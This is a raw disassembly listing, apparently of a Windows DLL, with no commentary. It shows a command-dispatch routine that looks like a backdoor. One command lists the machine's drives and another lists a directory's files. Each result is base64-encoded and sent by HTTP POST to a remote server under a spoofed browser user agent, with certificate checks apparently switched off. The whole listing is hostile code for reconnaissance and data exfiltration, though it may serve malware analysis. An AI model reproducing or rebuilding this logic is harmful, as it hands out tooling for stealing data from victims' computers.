mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x9c8], rax
mov qword [rsp + 0x2b8], 0xffffffffffffffff
inc qword [rsp + 0x2b8]
mov rax, qword [rsp + 0x9c8]
mov rcx, qword [rsp + 0x2b8]
cmp byte [rax + rcx], 0
jne 0x1800042b2
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x9d0], rax
mov rax, qword [rsp + 0x9d0]
mov qword [rsp + 0x9d8], rax
mov r8, qword [rsp + 0x9d8]
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0xfc0]
call fcn.180006bc0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x430], rax
mov rcx, qword [rsp + 0x430]
call fcn.1800094b4
cmp qword [rsp + 0x430], 0
jne 0x180004343
mov qword [rsp + 0x9e0], 0
jmp 0x18000435f
mov qword [rsp + 0x180], 0x8123
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x9e0], rax
lea rdx, [rsp + 0xfc0]
lea rcx, [rsp + 0xc18]
call fcn.180006d30
mov eax, dword [rsp + 0x58]
or eax, 2
mov dword [rsp + 0x58], eax
lea rcx, [rsp + 0xfc0]
call fcn.180007280
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x428], rax
lea rax, [rsp + 0xfe0]
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x9e8], rax
mov rax, qword [rsp + 0x9e8]
cmp qword [rsp + 0x420], rax
je 0x1800043fa
lea rax, [rsp + 0x66]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r8d, byte [rsp + 0x66]
mov rdx, qword [rsp + 0x428]
mov rcx, qword [rsp + 0x420]
call fcn.1800074d0
lea rcx, [rsp + 0xc18]
call fcn.180007280
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x3a8]
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x3a8]
cmp qword [rax + 0x18], 8
jb 0x180004443
mov dword [rsp + 0x1b8], 1
jmp 0x18000444e
mov dword [rsp + 0x1b8], 0
movzx eax, byte [rsp + 0x1b8]
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0x67]
test eax, eax
je 0x180004486
mov rax, qword [rsp + 0x3a8]
mov rax, qword [rax]
mov qword [rsp + 0x9f0], rax
mov rax, qword [rsp + 0x9f0]
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x9f8], rax
mov rax, qword [rsp + 0x9f8]
mov qword [rsp + 0x410], rax
lea rax, [0x18001fe1c]
mov qword [rsp + 0x4a8], rax
cmp qword [rsp + 0x410], 0
je 0x1800044cb
cmp qword [rsp + 0x4a8], 0
jne 0x1800044d5
mov byte [rsp + 0x51], 0
jmp 0x180004b42
mov dword [rsp + 0xc9c], 0
mov dword [rsp + 0xe08], 0
mov dword [rsp + 0x88], 0
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x98], 0
xor edx, edx
lea rcx, [rsp + 0x1080]
call fcn.1800073a0
nop
lea rax, [rsp + 0xea0]
mov qword [rsp + 0xa00], rax
mov rax, qword [rsp + 0xa00]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xea0]
call fcn.180007080
nop
lea rax, str.Mozilla
mov qword [rsp + 0xa08], rax
mov qword [rsp + 0x2b0], 0xffffffffffffffff
inc qword [rsp + 0x2b0]
mov rax, qword [rsp + 0xa08]
mov rcx, qword [rsp + 0x2b0]
cmp word [rax + rcx*2], 0
jne 0x180004573
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0xa10], rax
mov rax, qword [rsp + 0xa10]
mov qword [rsp + 0xa18], rax
mov r8, qword [rsp + 0xa18]
lea rdx, str.Mozilla
lea rcx, [rsp + 0xea0]
call fcn.180007120
lea rax, str._5.0__Windows_NT_10.0__Win64__x64_
mov qword [rsp + 0xa20], rax
mov qword [rsp + 0x2a8], 0xffffffffffffffff
inc qword [rsp + 0x2a8]
mov rax, qword [rsp + 0xa20]
mov rcx, qword [rsp + 0x2a8]
cmp word [rax + rcx*2], 0
jne 0x1800045e9
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0xa28], rax
mov rax, qword [rsp + 0xa28]
mov qword [rsp + 0xa30], rax
mov r8, qword [rsp + 0xa30]
lea rdx, str._5.0__Windows_NT_10.0__Win64__x64_
lea rcx, [rsp + 0xea0]
call fcn.180007120
lea rax, str.AppleWebKit_537.36__KHTML__like_Gecko_
mov qword [rsp + 0xa38], rax
mov qword [rsp + 0x2a0], 0xffffffffffffffff
inc qword [rsp + 0x2a0]
mov rax, qword [rsp + 0xa38]
mov rcx, qword [rsp + 0x2a0]
cmp word [rax + rcx*2], 0
jne 0x18000465f
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0xa40], rax
mov rax, qword [rsp + 0xa40]
mov qword [rsp + 0xa48], rax
mov r8, qword [rsp + 0xa48]
lea rdx, str.AppleWebKit_537.36__KHTML__like_Gecko_
lea rcx, [rsp + 0xea0]
call fcn.180007120
lea rax, [rsp + 0xea0]
mov rcx, rax
call fcn.180007210
mov qword [rsp + 0xa50], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0xa50]
call qword [0x180025cd0]
mov qword [rsp + 0x1a0], rax
cmp qword [rsp + 0x1a0], 0
je 0x18000472c
xor r9d, r9d
mov r8w, 0x20fb
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rsp + 0x1a0]
call qword [0x180025ce8]
mov qword [rsp + 0x140], rax
cmp qword [rsp + 0x140], 0
je 0x180004779
mov dword [rsp + 0x30], 0x800100
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x4a8]
lea rdx, str.POST
mov rcx, qword [rsp + 0x140]
call qword [0x180025ce0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xe04], 4
lea r9, [rsp + 0xe04]
lea r8, [rsp + 0xdb0]
mov edx, 0x1f
mov rcx, qword [rsp + 0x98]
call qword [0x180025d10]
mov eax, dword [rsp + 0xdb0]
bts eax, 8
mov dword [rsp + 0xdb0], eax
mov eax, dword [rsp + 0xdb0]
bts eax, 0xd
mov dword [rsp + 0xdb0], eax
mov eax, dword [rsp + 0xdb0]
bts eax, 0xc
mov dword [rsp + 0xdb0], eax
mov eax, dword [rsp + 0xdb0]
bts eax, 9
mov dword [rsp + 0xdb0], eax
mov r9d, 4
lea r8, [rsp + 0xdb0]
mov edx, 0x1f
mov rcx, qword [rsp + 0x98]
call qword [0x180025cd8]
cmp qword [rsp + 0x98], 0
je 0x180004894
mov rax, qword [rsp + 0xff0]
mov qword [rsp + 0xa58], rax
mov rax, qword [rsp + 0xff0]
mov qword [rsp + 0xa60], rax
lea rax, [rsp + 0xfe0]
mov rcx, rax
call fcn.1800075c0
mov qword [rsp + 0xa68], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0xa58]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0xa60]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0xa68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x98]
call qword [0x180025d18]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0
je 0x1800048b5
xor edx, edx
mov rcx, qword [rsp + 0x98]
call qword [0x180025d08]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0
je 0x180004ab5
mov dword [rsp + 0xc9c], 0
lea rdx, [rsp + 0xc9c]
mov rcx, qword [rsp + 0x98]
call qword [0x180025d00]
test eax, eax
jne 0x180004908
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0xea0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x51], al
jmp 0x180004b42
mov eax, dword [rsp + 0xc9c]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1800094f8
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0xa70]
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
jne 0x18000496d
mov byte [rsp + 0x69], 0
lea rcx, [rsp + 0xea0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0x51], al
jmp 0x180004b42
mov eax, dword [rsp + 0xc9c]
inc eax
mov eax, eax
mov qword [rsp + 0xa78], rax
mov rdi, qword [rsp + 0xc8]
xor eax, eax
mov rcx, qword [rsp + 0xa78]
rep stosb byte [rdi], al
lea r9, [rsp + 0xe08]
mov r8d, dword [rsp + 0xc9c]
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x98]
call qword [0x180025cc8]
test eax, eax
jne 0x1800049de
mov byte [rsp + 0x6a], 0
lea rcx, [rsp + 0xea0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x6a]
mov byte [rsp + 0x51], al
jmp 0x180004b42
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xa80], rax
mov qword [rsp + 0x298], 0xffffffffffffffff
inc qword [rsp + 0x298]
mov rax, qword [rsp + 0xa80]
mov rcx, qword [rsp + 0x298]
cmp byte [rax + rcx], 0
jne 0x1800049fa
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0xa88], rax
mov rax, qword [rsp + 0xa88]
mov qword [rsp + 0xa90], rax
mov r8, qword [rsp + 0xa90]
mov rdx, qword [rsp + 0xc8]
lea rcx, [rsp + 0x1080]
call fcn.180006bc0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x408], rax
mov rcx, qword [rsp + 0x408]
call fcn.1800094b4
cmp qword [rsp + 0x408], 0
jne 0x180004a8b
mov qword [rsp + 0xa98], 0
jmp 0x180004aa7
mov qword [rsp + 0xc8], 0x8123
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xa98], rax
cmp dword [rsp + 0xc9c], 0
ja 0x1800048c3
cmp dword [rsp + 0x88], 0
jne 0x180004adc
mov byte [rsp + 0x6b], 0
lea rcx, [rsp + 0xea0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x51], al
jmp 0x180004b42
cmp qword [rsp + 0x98], 0
je 0x180004af5
mov rcx, qword [rsp + 0x98]
call qword [0x180025cf0]
cmp qword [rsp + 0x140], 0
je 0x180004b0e
mov rcx, qword [rsp + 0x140]
call qword [0x180025cf0]
cmp qword [rsp + 0x1a0], 0
je 0x180004b27
mov rcx, qword [rsp + 0x1a0]
call qword [0x180025cf0]
mov byte [rsp + 0x6c], 1
lea rcx, [rsp + 0xea0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x51]
test eax, eax
je 0x180004b5b
xor edx, edx
lea rcx, [rsp + 0xdd0]
call fcn.1800070d0
nop
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x400], rax
mov rcx, qword [rsp + 0x400]
call fcn.1800094b4
cmp qword [rsp + 0x400], 0
jne 0x180004b91
mov qword [rsp + 0xaa0], 0
jmp 0x180004bad
mov qword [rsp + 0xc0], 0x8123
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xaa0], rax
lea rcx, [rsp + 0xfe0]
call fcn.180007280
nop
lea rcx, [rsp + 0x1080]
call fcn.180007280
mov rcx, qword [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0xe60]
call fcn.180007280
nop
lea rcx, [rsp + 0xe20]
call fcn.180007280
jmp 0x1800021a7
cmp dword [rsp + 0x11c4], 4
jne 0x1800057d8
lea rax, [0x18001fe20]
mov qword [rsp + 0xaa8], rax
mov qword [rsp + 0x288], 0xffffffffffffffff
inc qword [rsp + 0x288]
mov rax, qword [rsp + 0xaa8]
mov rcx, qword [rsp + 0x288]
cmp word [rax + rcx*2], 0
jne 0x180004c25
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0xab0], rax
mov rax, qword [rsp + 0xab0]
mov qword [rsp + 0xab8], rax
mov r8, qword [rsp + 0xab8]
lea rdx, [0x18001fe20]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
lea rax, [rsp + 0x24c0]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
lea rdx, [rsp + 0x24c0]
mov ecx, 0x80
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [rsp + 0x368], eax
cmp dword [rsp + 0x368], 0
jbe 0x1800057b3
mov r8d, 0x80
lea rdx, [rsp + 0x24c0]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
mov dword [rsp + 0x13e4], 4
lea rcx, [rsp + 0x10a0]
call fcn.180006f20
nop
lea rcx, [rsp + 0x1020]
call fcn.180006f20
nop
lea rax, [rsp + 0x24c0]
mov qword [rsp + 0x370], rax
lea rax, [rsp + 0x1000]
mov qword [rsp + 0xac0], rax
mov rax, qword [rsp + 0xac0]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0x1000]
call fcn.180007350
nop
cmp qword [rsp + 0x370], 0
je 0x180004d54
mov dword [rsp + 0x1bc], pe_nt_image_headers64
jmp 0x180004d5f
mov dword [rsp + 0x1bc], 0
mov eax, dword [rsp + 0x1bc]
add rax, 0x214
mov dword [rsp + 0x10c], eax
mov eax, dword [rsp + 0x10c]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0xac8], rax
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0x1b0], rax
cmp qword [rsp + 0x1b0], 0
je 0x180004f9b
lea rdx, [rsp + 0xe80]
lea rcx, [rsp + 0x1000]
call fcn.180006cb0
lea rax, [rsp + 0x13e0]
mov rdi, qword [rsp + 0x1b0]
mov rsi, rax
mov ecx, 0x214
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x370], 0
je 0x180004e15
xor eax, eax
cmp eax, 0x100
jae 0x180004e15
mov eax, pe_nt_image_headers64
mov rcx, qword [rsp + 0x1b0]
add rcx, 0x214
mov rdi, rcx
mov rsi, qword [rsp + 0x370]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x268], 0
mov eax, 0x40000000
or eax, 1
lea rcx, [rsp + 0xcc0]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, eax
mov edx, dword [rsp + 0x10c]
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x180004ec2
mov eax, dword [rsp + 0xcc0]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0xad0], rax
mov rax, qword [rsp + 0xad0]
mov qword [rsp + 0x268], rax
cmp qword [rsp + 0x268], 0
je 0x180004ec2
mov eax, 0x40000000
or eax, 1
lea rcx, [rsp + 0xcc0]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x268]
mov r8d, eax
mov edx, dword [rsp + 0x10c]
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0xad8], rax
mov qword [rsp + 0x260], 0xffffffffffffffff
inc qword [rsp + 0x260]
mov rax, qword [rsp + 0xad8]
mov rcx, qword [rsp + 0x260]
cmp byte [rax + rcx], 0
jne 0x180004eee
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xae0], rax
mov rax, qword [rsp + 0xae0]
mov qword [rsp + 0xae8], rax
mov r8, qword [rsp + 0xae8]
mov rdx, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x1000]
call fcn.180006bc0
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x3f8], rax
mov rcx, qword [rsp + 0x3f8]
call fcn.1800094b4
cmp qword [rsp + 0x3f8], 0
jne 0x180004f7f
mov qword [rsp + 0xaf0], 0
jmp 0x180004f9b
mov qword [rsp + 0x1c0], 0x8123
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0xaf0], rax
lea rdx, [rsp + 0x1000]
lea rcx, [rsp + 0xc58]
call fcn.180006d30
mov eax, dword [rsp + 0x58]
or eax, 4
mov dword [rsp + 0x58], eax
lea rcx, [rsp + 0x1000]
call fcn.180007280
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0x1020]
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xaf8]
cmp qword [rsp + 0x3e8], rax
je 0x180005036
lea rax, [rsp + 0x6d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r8d, byte [rsp + 0x6d]
mov rdx, qword [rsp + 0x3f0]
mov rcx, qword [rsp + 0x3e8]
call fcn.1800074d0
lea rcx, [rsp + 0xc58]
call fcn.180007280
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x3b0]
cmp qword [rax + 0x18], 8
jb 0x18000507f
mov dword [rsp + 0x1c8], 1
jmp 0x18000508a
mov dword [rsp + 0x1c8], 0
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x6e]
test eax, eax
je 0x1800050c2
mov rax, qword [rsp + 0x3b0]
mov rax, qword [rax]
mov qword [rsp + 0xb00], rax
mov rax, qword [rsp + 0xb00]
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x478]
mov qword [rsp + 0xb08], rax
mov rax, qword [rsp + 0xb08]
mov qword [rsp + 0x480], rax
lea rax, [0x18001fe24]
mov qword [rsp + 0x488], rax
cmp qword [rsp + 0x480], 0
je 0x180005107
cmp qword [rsp + 0x488], 0
jne 0x180005111
mov byte [rsp + 0x52], 0
jmp 0x18000577e
mov dword [rsp + 0xca0], 0
mov dword [rsp + 0xe10], 0
mov dword [rsp + 0x8c], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x90], 0
xor edx, edx
lea rcx, [rsp + 0x10a0]
call fcn.1800073a0
nop
lea rax, [rsp + 0xec0]
mov qword [rsp + 0xb10], rax
mov rax, qword [rsp + 0xb10]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xec0]
call fcn.180007080
nop
lea rax, str.Mozilla
mov qword [rsp + 0xb18], rax
mov qword [rsp + 0x258], 0xffffffffffffffff
inc qword [rsp + 0x258]
mov rax, qword [rsp + 0xb18]
mov rcx, qword [rsp + 0x258]
cmp word [rax + rcx*2], 0
jne 0x1800051af
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xb20], rax
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0xb28], rax
mov r8, qword [rsp + 0xb28]
lea rdx, str.Mozilla
lea rcx, [rsp + 0xec0]
call fcn.180007120
lea rax, str._5.0__Windows_NT_10.0__Win64__x64_
mov qword [rsp + 0xb30], rax
mov qword [rsp + 0x248], 0xffffffffffffffff
inc qword [rsp + 0x248]
mov rax, qword [rsp + 0xb30]
mov rcx, qword [rsp + 0x248]
cmp word [rax + rcx*2], 0
jne 0x180005225
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0xb38], rax
mov rax, qword [rsp + 0xb38]
mov qword [rsp + 0xb40], rax
mov r8, qword [rsp + 0xb40]
lea rdx, str._5.0__Windows_NT_10.0__Win64__x64_
lea rcx, [rsp + 0xec0]
call fcn.180007120
lea rax, str.AppleWebKit_537.36__KHTML__like_Gecko_
mov qword [rsp + 0xb48], rax
mov qword [rsp + 0x240], 0xffffffffffffffff
inc qword [rsp + 0x240]
mov rax, qword [rsp + 0xb48]
mov rcx, qword [rsp + 0x240]
cmp word [rax + rcx*2], 0
jne 0x18000529b
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0xb50], rax
mov rax, qword [rsp + 0xb50]
mov qword [rsp + 0xb58], rax
mov r8, qword [rsp + 0xb58]
lea rdx, str.AppleWebKit_537.36__KHTML__like_Gecko_
lea rcx, [rsp + 0xec0]
call fcn.180007120
lea rax, [rsp + 0xec0]
mov rcx, rax
call fcn.180007210
mov qword [rsp + 0xb60], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0xb60]
call qword [0x180025cd0]
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 0
je 0x180005368
xor r9d, r9d
mov r8w, 0x20fb
mov rdx, qword [rsp + 0x480]
mov rcx, qword [rsp + 0x118]
call qword [0x180025ce8]
mov qword [rsp + 0x1d8], rax
cmp qword [rsp + 0x1d8], 0
je 0x1800053b5
mov dword [rsp + 0x30], 0x800100
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x488]
lea rdx, str.POST
mov rcx, qword [rsp + 0x1d8]
call qword [0x180025ce0]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0xe0c], 4
lea r9, [rsp + 0xe0c]
lea r8, [rsp + 0xdb4]
mov edx, 0x1f
mov rcx, qword [rsp + 0x90]
call qword [0x180025d10]
mov eax, dword [rsp + 0xdb4]
bts eax, 8
mov dword [rsp + 0xdb4], eax
mov eax, dword [rsp + 0xdb4]
bts eax, 0xd
mov dword [rsp + 0xdb4], eax
mov eax, dword [rsp + 0xdb4]
bts eax, 0xc
mov dword [rsp + 0xdb4], eax
mov eax, dword [rsp + 0xdb4]
bts eax, 9
mov dword [rsp + 0xdb4], eax
mov r9d, 4
lea r8, [rsp + 0xdb4]
mov edx, 0x1f
mov rcx, qword [rsp + 0x90]
call qword [0x180025cd8]
cmp qword [rsp + 0x90], 0
je 0x1800054d0
mov rax, qword [rsp + 0x1030]
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0x1030]
mov qword [rsp + 0xb70], rax
lea rax, [rsp + 0x1020]
mov rcx, rax
call fcn.1800075c0
mov qword [rsp + 0xb78], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0xb68]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0xb70]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0xb78]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [0x180025d18]
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
je 0x1800054f1
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [0x180025d08]
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
je 0x1800056f1
mov dword [rsp + 0xca0], 0
lea rdx, [rsp + 0xca0]
mov rcx, qword [rsp + 0x90]
call qword [0x180025d00]
test eax, eax
jne 0x180005544
mov byte [rsp + 0x6f], 0
lea rcx, [rsp + 0xec0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x52], al
jmp 0x18000577e
mov eax, dword [rsp + 0xca0]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1800094f8
mov qword [rsp + 0xb80], rax
mov rax, qword [rsp + 0xb80]
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0xd8], 0
jne 0x1800055a9
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0xec0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x52], al
jmp 0x18000577e
mov eax, dword [rsp + 0xca0]
inc eax
mov eax, eax
mov qword [rsp + 0xb88], rax
mov rdi, qword [rsp + 0xd8]
xor eax, eax
mov rcx, qword [rsp + 0xb88]
rep stosb byte [rdi], al
lea r9, [rsp + 0xe10]
mov r8d, dword [rsp + 0xca0]
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x90]
call qword [0x180025cc8]
test eax, eax
jne 0x18000561a
mov byte [rsp + 0x71], 0
lea rcx, [rsp + 0xec0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x52], al
jmp 0x18000577e
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xb90], rax
mov qword [rsp + 0x238], 0xffffffffffffffff
inc qword [rsp + 0x238]
mov rax, qword [rsp + 0xb90]
mov rcx, qword [rsp + 0x238]
cmp byte [rax + rcx], 0
jne 0x180005636
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0xb98], rax
mov rax, qword [rsp + 0xb98]
mov qword [rsp + 0xba0], rax
mov r8, qword [rsp + 0xba0]
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x10a0]
call fcn.180006bc0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x490], rax
mov rcx, qword [rsp + 0x490]
call fcn.1800094b4
cmp qword [rsp + 0x490], 0
jne 0x1800056c7
mov qword [rsp + 0xba8], 0
jmp 0x1800056e3
mov qword [rsp + 0xd8], 0x8123
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xba8], rax
cmp dword [rsp + 0xca0], 0
ja 0x1800054ff
cmp dword [rsp + 0x8c], 0
jne 0x180005718
mov byte [rsp + 0x72], 0
lea rcx, [rsp + 0xec0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x52], al
jmp 0x18000577e
cmp qword [rsp + 0x90], 0
je 0x180005731
mov rcx, qword [rsp + 0x90]
call qword [0x180025cf0]
cmp qword [rsp + 0x1d8], 0
je 0x18000574a
mov rcx, qword [rsp + 0x1d8]
call qword [0x180025cf0]
cmp qword [rsp + 0x118], 0
je 0x180005763
mov rcx, qword [rsp + 0x118]
call qword [0x180025cf0]
mov byte [rsp + 0x73], 1
lea rcx, [rsp + 0xec0]
call fcn.180006fb0
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x52]
test eax, eax
je 0x180005797
xor edx, edx
lea rcx, [rsp + 0xdd0]
call fcn.1800070d0
nop
lea rcx, [rsp + 0x1020]
call fcn.180007280
nop
lea rcx, [rsp + 0x10a0]
call fcn.180007280
nop
lea rcx, [rsp + 0xe60]
call fcn.180007280
nop
lea rcx, [rsp + 0xe20]
call fcn.180007280
jmp 0x1800021a7
cmp dword [rsp + 0x11c4], 5
jne 0x18000651c
lea rax, [0x18001fe28]
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0x230], 0xffffffffffffffff
inc qword [rsp + 0x230]
mov rax, qword [rsp + 0xbb0]
mov rcx, qword [rsp + 0x230]
cmp word [rax + rcx*2], 0
jne 0x180005801
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0xbb8], rax
mov rax, qword [rsp + 0xbb8]
mov qword [rsp + 0xbc0], rax
mov r8, qword [rsp + 0xbc0]
lea rdx, [0x18001fe28]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
lea rcx, [rsp + 0xf40]
call fcn.180006f20
nop
lea rdx, [rsp + 0x17b0]
lea rcx, [rsp + 0x11cc]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x3b8], rax
cmp qword [rsp + 0x3b8], 0xffffffffffffffff
je 0x1800064e0
mov r8d, 0x250
lea rdx, [rsp + 0x17b0]
lea rcx, [rsp + 0xf40]
call fcn.180006bc0
lea rdx, [rsp + 0x17b0]
mov rcx, qword [rsp + 0x3b8]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180005897
mov rcx, qword [rsp + 0x3b8]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rax, qword [rsp + 0xf50]
mov qword [rsp + 0xbc8], rax
cmp qword [rsp + 0xbc8], 0x250
jb 0x1800064e0
mov dword [rsp + 0x13e4], 5
lea r8, [rsp + 0x11cc]
mov edx, 0x104
lea rcx, [rsp + 0x13ec]
call fcn.18000de64
lea rcx, [rsp + 0x10c0]
call fcn.180006f20
nop
lea rcx, [rsp + 0xf80]
call fcn.180006f20
nop
mov rax, qword [rsp + 0xf50]
mov qword [rsp + 0x3c8], rax
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x3c0]
cmp qword [rax + 0x18], 0x10
jb 0x180005989
mov dword [rsp + 0x1cc], 1
jmp 0x180005994
mov dword [rsp + 0x1cc], 0
movzx eax, byte [rsp + 0x1cc]
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x74]
test eax, eax
je 0x1800059cc
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov qword [rsp + 0xbd0], rax
mov rax, qword [rsp + 0xbd0]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0xbd8], rax
mov rax, qword [rsp + 0xbd8]
mov qword [rsp + 0x3d0], rax
lea rax, [rsp + 0xf60]
mov qword [rsp + 0xbe0], rax
mov rax, qword [rsp + 0xbe0]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xf60]
call fcn.180007350
nop
cmp qword [rsp + 0x3d0], 0
je 0x180005a35
mov eax, dword [rsp + 0x3c8]
mov dword [rsp + 0x1d0], eax
jmp 0x180005a40
mov dword [rsp + 0x1d0], 0
mov eax, dword [rsp + 0x1d0]
add rax, 0x214
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x110]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0xbe8], rax
mov rax, qword [rsp + 0xbe8]
